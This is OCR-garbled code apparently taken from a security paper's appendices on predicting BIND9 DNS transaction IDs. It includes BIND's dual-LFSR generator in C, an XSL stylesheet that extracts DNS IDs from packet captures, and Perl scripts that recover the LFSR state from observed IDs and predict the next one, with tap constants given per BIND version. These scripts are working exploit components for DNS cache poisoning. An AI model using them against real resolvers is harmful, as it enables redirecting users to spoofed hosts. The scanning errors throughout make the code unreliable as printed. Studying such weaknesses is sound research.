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unsigned int Ifsr_generate( unsigned int Ifsr_state,
unsigned int tap)

if (Ifsr_state & 1)
{

Ifsr_state = (Ifsr_state >> 1) " tap;

else
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{
Ifsr_state >>=1;
}
return Ifsr_state;
}
unsigned int Ifsr_skipgenerate( unsigned int Ifsr_state,
unsigned int tap,
unsigned int skip)
{
if  (skip)
Ifsr_state = Ifsr_generate(Ifsr_state, tap);
}
Ifsr_state = Ifsr_generate(Ifsr_state, tap);
return Ifsr_state;
}

skipl = Ifsr1_state & 1;
skip2 = Ifsr2_state & 1;

Ifsr1_state = Ifsr_skipgenerate(Ifsrl_state, tapl, skip2);
Ifsr2_state = Ifsr_skipgenerate(Ifsr2_state, tap2, skipl);
trxid = (Ifsrl state » Ifsr2 state) & OxFFFF;
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<xsl:stylesheet version="1.0" xmins:xsl|="http://www

<xsl:strip-space elements="*"/>

<xsl:output method="text" encoding="1SO-8859-1"/>

<xsl:template match="/pdml/packet/proto[@name="dns"
field{@name="dns.flags")/field[@name="dns.flags.res

<xsl:value-of select="field{@name="dns.id")/@value'

<xsl:text> </xsl:text>

<xsl:value-of select="../proto[@name="geninfo")/fie

<xsl:text> </xsl:text>

<xsl:value-of
select="field[@show="Queries"]/field/field{@name="d

<xsl:text> </xsl:text>

<xsl:value-of select="../proto[@name="udp")/field[@

<xsl:text>&#x0d;&#x0a;</xsl:text>

</xsl:template>

<Ixsl:stylesheet>

' ) 8 1
o I_ + *
LI *
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' " 2
YO K * o+ %% 0K
v 0 K v
" ) * O K
11 Posrgr
- *9

.w3.0rg/1999/XSL/Transform">

and
ponse")/@value="0"]">
/>

ld[@name="timestamp")/@value' />

ns.qry.name"]/@show' />

name="udp.srcport")/@value' />
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# For BIND9 v9.2.3-9.4.1:
$tap1=0x80000057;
$tap2=0x80000062;

# For BIND9 v9.0.0-9.2.2:
# $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
# $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)

$txid=hex($ARGV[0]);
if (($txid & 1)!=0)

die "Isb is not 0. Can't predict the next transact

}

# One bit shift (assuming the two Isb's are 0 and 0
for ($msb=0;$msb<(1<<1);$msb++)

push @cand,(($msb<<15)|($txid>>1)) & OXFFFF;
}

# Two bit shift (assuming the two Isb's are 1 and 1
# First shift (we know the Isb is 1 in both LFSRs):
$v=s$txid,;

Sv=($v>>1)"$tapl $tap2;

if ($v & 1)==0)

{

# After the first shift, the Isb becomes 0, so the
# identical Isb's:0and 0 or landl1

# Second shift:

$vi=($v>>1); #0and O
$v2=($v>>1)"$tap1l"$tap2; # 1 and 1

}

else

{
# After the first shift, the Isb becomes 1, so the
# differentIsb’'s: 1and 0 or Oand 1
# Second shift:
$vi=($v>>1)"$tapl;# 1 and O
$v2=($v>>1)"$tap2; # 0 and 1

}

# Also need to enumerate over the 2 msb's we are cl
for ($msbits=0;$msbits<(1<<2);$msbits++)

{
push @cand,(($msbits<<14)|$v1) & OXFFFF;

push @cand,(($msbits<<14)|$v2) & OxFFFF;
}

print"Predicting - the next transaction ID is one o
for (my $k=0;$k<10;$k++)
{

}

exit(0);

printf "%04x ",$cand[$k];

ion ID.\n";

two LFSRs now have

two LFSRs now have

ueless about
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-3 # &7

# For BIND9 v9.2.3-9.4.1:
$tap1=0x80000057;
$tap2=0x80000062;

# For BIND9 v9.0.0-9.2.2:

# $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
# $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)
$initial_guess_bits=6;

@cand_lIfsr1=();

@cand_lIfsr2=();

use Time::HiRes qw(gettimeofday);

@txid=();

# Read all data from file. It is assumed to be in t
# by the XSL transformation described in appendix A

$count=0;
open(FD,$ARGVI0]) or die "ERROR: Can't open file $A
while(my $line=<FD>)
# File format: TXID[4 hex] (ignore everything beyo
if ($line=~/"([0-9a-fA-FI{4})/x)

push @txid,hex($1);

$count++;
}
else
{ . .
die "ERROR: Can't parse line at count=$count.\n";
}
}
close(FD);

print "INFO: Found $count DNS queries in file.\n";
sub next_trxid

my ($lfsrl,$lfsr2)=@_;
my $val;
for (my $i=0;$i<$count+1;$i++)
{
$val=($lfsr17$lfsr2) & OXFFFF;
$skipl=$Ifsrl & 1;
$skip2=9$Ifsr2 & 1;
for (my $j1=0;$j1<=$skip2;$j1++)

$lfsrl = ($lfsr1>>1) » (($lfsrl & 1)*$tapl);

}
for (my $j2=0;%j2<=$skipl;$j2++)
{

$lfsr2 = ($lfsr2>>1) » (($lfsr2 & 1)*$tap2);

}
#printf "%04x ", $val;

he format generated

RGV[0]";

nd those 4 digits)

return $val;

}

sub verify
my ($lfsrl,$widthl,$lfsr2,$width2)=@_;
for (my $i=0;$i<$count;$i++)

18
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my $cand=($lfsr17$lfsr2) & OxFFFF;

my $min_width=($width1<=$width2) ? $widthl : $wid
$min_width=($min_width<=16) ? $min_width : 16;

if ($min_width<=0)

{

return 1;

}

my $mask=(1<<$min_width)-1;

if (($cand & $mask) != ($txid[$i] & $mask))
{

}

$skipl=$Ifsrl & 1;
$skip2=9$Ifsr2 & 1;
for (my $j1=0;$j1<=$skip2;$j1++)

return O;

$lfsrl = ($lfsr1>>1) » (($lfsrl & 1)*$tapl);
if ($width1<32)

$widthl--;
}

}
for (my $j2=0;%j2<=$skipl;$j2++)

$lfsr2 = ($lfsr2>>1) » (($lfsr2 & 1)*$tap2);
if ($width2<32)

$width2--;

}

return 1;

}

sub phase2
my ($lfsrl,$widthl,$lfsr2,$width2)=@_;
my $motion_detected=0;
if ($width1<32)
{
my $guess_0=verify($Ifsr1|(0<<$widthl),$widthl+1,
my $guess_1=verify($Ifsrl|(1<<$widthl),$widthl+1,
if (Jguess_0 " $guess_1)
#Exactly one is correct. So we know the bit.
$motion_detected=1;
if (Jguess_1)
$lfsr1=$lfsr1|(1<<$widthl);
}
$widthl++;
}
elsif ((1$guess_0) and (I$guess_1))

# Inconsistent state, hence wrong guess in the f
return O;

}
if ($width2<32)

my $guess_0=verify($lfsrl,$widthl,$lfsr2|(0<<$wid
my $guess_1=verify($ifsrl,$widthl,$lfsr2|(1<<$wid
if (Jguess_0 " $guess_1)
{
#Exactly one is correct. So we know the bit.
$motion_detected=1;
if (guess_1)
{

th2;

$lfsr2,$width2);

$lfsr2,$width2);

irst place

th2),$width2+1);
th2),$width2+1);
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$lfsr2=$lfsr2|(1<<$width2);
}
$width2++;
}
elsif ((I$guess_0) and (I$guess_1))
{

# Inconsistent state, hence wrong guess in the f irst place
return O;

}
if ($width1==32) and ($width2==32))
{

# Final verification
if (verify($lfsr1,32,$lfsr2,32))
{

push @cand_Ifsr1,$lfsrl;
push @cand_Ifsr2,$lfsr2;

return 1;

}

else

{
# false alarm
return O;

}

}

if ($motion_detected)

# At least one width was improved.
return phase2($lfsr1,$width1,$lfsr2,$width2);

}
else
{ . .
# Resort to bit guessing.
if ($width1<32)
# Guessing another bit in LFSR1 and continuing..
return
phase2($lfsr1|(0<<$widthl),$width1+1,$lfsr2,$width2 )+
phase2($lfsr1|(1<<$widthl),$width1+1,$Ifsr2,$wi dth2);
}
else
# Guessing another bit in LFSR2 and continuing..
return
phase2($lfsrl,$width1,$lfsr2|(0<<$width2),$width2+1 )+
phase2($lfsr1,$width1,$lfsr2|(1<<$width2),$widt h2+1);
}
}
}
my $start_time=gettimeofday();
my $good=0;
for (my $Ifsr1=0;$lfsri<(1<<$initial_guess_bits);$l fsril++)
my $Ifsr2=($txid[0]"$lfsrl) & ((1<<S$initial_guess_ bits)-1);
if (verify($lfsrl,$initial_guess_bits,$lfsr2,$init ial_guess_hits))
{
$good+=
phase2($lfsr1,$initial_guess_bits,$Ifsr2,$initial_g uess_bits);
}
}

my $end_time=gettimeofday();

print "INFO: ".$good." candidates found:\n";
for (my $k=0;$k<$good;$k++)
{
printf "*** LFSR1=0x%08x LFSR2=0x%08x Next TRXI D=0x%04x ***\n",
$cand_Ifsri[$k],$cand_Ifsr2[$K],
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next_trxid($cand_Ifsr1[$k],$cand_Ifsr2[$k]);
}

print "INFO: Elapsed time: ".($end_time-$start_time )." seconds\n";

exit(0);
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